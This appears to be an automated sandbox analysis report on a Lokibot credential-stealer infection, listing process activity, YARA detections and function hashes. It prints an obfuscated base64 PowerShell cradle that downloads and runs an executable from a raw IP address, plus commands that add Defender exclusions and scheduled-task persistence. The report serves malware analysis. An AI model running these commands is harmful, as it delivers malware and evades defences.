JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:56:49
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Imagebase:	0x170000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:56:49
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Imagebase:	0x170000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:56:49
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp"
Imagebase:	0x620000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:56:50
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\caspol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\caspol.exe"
Imagebase:	0xec0000
File size:	600'576 bytes
MD5 hash:	74061922F1E78C237A66D12A15A18181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000012.00000002.637368812.0000000000874000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	01:56:52
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Imagebase:	0x1260000
File size:	2'525'680 bytes
MD5 hash:	2F8D93826B8CBF9290BC57535C7A6817
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:56:56
Start date:	20/11/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {819EB824-4817-4048-BBF5-A7A0A0C35676} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	01:56:56
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe
Imagebase:	0x10f0000
File size:	600'576 bytes
MD5 hash:	74061922F1E78C237A66D12A15A18181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:57:00
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Imagebase:	0x40000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1944, Parent PID: 1644

General

Target ID:	23
Start time:	01:57:01
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Imagebase:	0x40000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: schtasks.exePID: 3232, Parent PID: 1644

General

Target ID:	26
Start time:	01:57:03
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpDCB9.tmp"
Imagebase:	0x690000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:57:04
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Imagebase:	0x10f0000
File size:	600'576 bytes
MD5 hash:	74061922F1E78C237A66D12A15A18181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:57:05
Start date:	20/11/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13fe20000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:57:11
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Imagebase:	0x13f570000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1688, Parent PID: 3860

General

Target ID:	33
Start time:	01:57:11
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment
Imagebase:	0x13f570000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 4092, Parent PID: 3860

General

Target ID:	34
Start time:	01:57:14
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline"
Imagebase:	0x13fc20000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:57:14
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB0AA.tmp" "c:\Users\user\AppData\Local\Temp\zpwvvpvf\CSC31AA5FCDA54445E088EDA110AE3BEBC4.TMP"
Imagebase:	0x13f180000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:57:18
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\caspol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\caspol.exe"
Imagebase:	0x10e0000
File size:	600'576 bytes
MD5 hash:	74061922F1E78C237A66D12A15A18181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:57:18
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Imagebase:	0xbb0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 2524, Parent PID: 4076

General

Target ID:	40
Start time:	01:57:19
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Imagebase:	0xbb0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: schtasks.exePID: 4028, Parent PID: 4076

General

Target ID:	42
Start time:	01:57:19
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmp1F44.tmp"
Imagebase:	0x250000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	01:57:22
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\caspol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\caspol.exe"
Imagebase:	0x10e0000
File size:	600'576 bytes
MD5 hash:	74061922F1E78C237A66D12A15A18181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 3492, Parent PID: 564COMMON

Executed Functions

Function 035F0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.430492158.00000000035F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_35f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 8d859bd0f90cf432f5a6d8828943b7b0fa2382a58c00d2892dcb8f6fc4f96a2d
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 035F0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.430492158.00000000035F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_35f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 8d859bd0f90cf432f5a6d8828943b7b0fa2382a58c00d2892dcb8f6fc4f96a2d
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 035F0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.430492158.00000000035F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_35f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 8d859bd0f90cf432f5a6d8828943b7b0fa2382a58c00d2892dcb8f6fc4f96a2d
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 035F0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.430492158.00000000035F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_35f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 8d859bd0f90cf432f5a6d8828943b7b0fa2382a58c00d2892dcb8f6fc4f96a2d
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3580, Parent PID: 3492COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE891A4B18 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE891A5AF0

Memory Dump Source

Source File: 00000005.00000002.475431294.000007FE891A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE891A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe891a0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: e9858a590bb1ad5908b8d94a8f69db2028c05f584d8bb7707eb6ef8eb2b065e1
Instruction ID: 1254ffba3495300d965ee62da69c98b9a65ee41ce28f925c3bc24e8a14379329
Opcode Fuzzy Hash: e9858a590bb1ad5908b8d94a8f69db2028c05f584d8bb7707eb6ef8eb2b065e1
Instruction Fuzzy Hash: B6318F3191CA5C8FDB58DF5CD8857A9BBE1FBA9321F00822ED04ED3655CB70B8568B81

Function 000007FE891A59E1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE891A5AF0

Memory Dump Source

Source File: 00000005.00000002.475431294.000007FE891A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE891A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe891a0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 3256bafd3350b19455e4fefda42f1c6bafc7e1ea39df54a6180ba360bd490e20
Instruction ID: c755f29a447ffd7eee11bbc952210359bd707e52e8eb64428b6e01456d9a3dd4
Opcode Fuzzy Hash: 3256bafd3350b19455e4fefda42f1c6bafc7e1ea39df54a6180ba360bd490e20
Instruction Fuzzy Hash: 2041133190DB889FDB19DB5898447AABFF0FB56321F04826FD08DD7162CB346846C781

Function 000007FE892726E9 Relevance: .7, Instructions: 717
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.475626527.000007FE89270000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89270000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d46b230baad3e9d7e278be51a8a8da29d2b2eb72adc0c7add9055ac0f3fb555
Instruction ID: 6e211525aa625fc491f685bb2c07a48364a459d49ca25601d2371e88477f41e3
Opcode Fuzzy Hash: 0d46b230baad3e9d7e278be51a8a8da29d2b2eb72adc0c7add9055ac0f3fb555
Instruction Fuzzy Hash: E922063090CB894FE75ADB2C94507797BE2FF9A344F2401AED48ED72A3DA24AC56C741

Function 000007FE89270F0D Relevance: .4, Instructions: 355
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.475626527.000007FE89270000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89270000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f97dbf291516746ce1a5288c1a7c6b0f0b05bf4a6bb441d0f22d3ec93f6cdcdb
Instruction ID: 121c73ebc0423fdaedf3bfbab35958b86fd17d8ee5437cfcce11cb1aa89245a0
Opcode Fuzzy Hash: f97dbf291516746ce1a5288c1a7c6b0f0b05bf4a6bb441d0f22d3ec93f6cdcdb
Instruction Fuzzy Hash: E1A1BF21A0EBCA0FE347973858647617FE1EF97254B1901EBD48DCB1B3D6189C5AC362

Non-executed Functions

Function 000007FE892700DD Relevance: 1.4, Instructions: 1435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.475626527.000007FE89270000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89270000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7805957e58b4a07f57a139038f1fd39241f7b59bbdf04c9c3560f2d0ca48cfa9
Instruction ID: 520f1e10a1cc999815b7e8587e8ac89896fa4c171fd6c046fd14efca6f43186f
Opcode Fuzzy Hash: 7805957e58b4a07f57a139038f1fd39241f7b59bbdf04c9c3560f2d0ca48cfa9
Instruction Fuzzy Hash: F092F43190D7CA5FF31AA738A8112B97FE1EF87254F1901EFD48AD71A3D618681AC352

Function 000007FE89273122 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.475626527.000007FE89270000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89270000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbd1e7d5ca98851ffc8faf9010d8d71111460f4edaa451f674efd5c8c3d3f69b
Instruction ID: 281f99f406f91c353f896bbe831b4318401aea875869bfb58f35eb644f1603af
Opcode Fuzzy Hash: dbd1e7d5ca98851ffc8faf9010d8d71111460f4edaa451f674efd5c8c3d3f69b
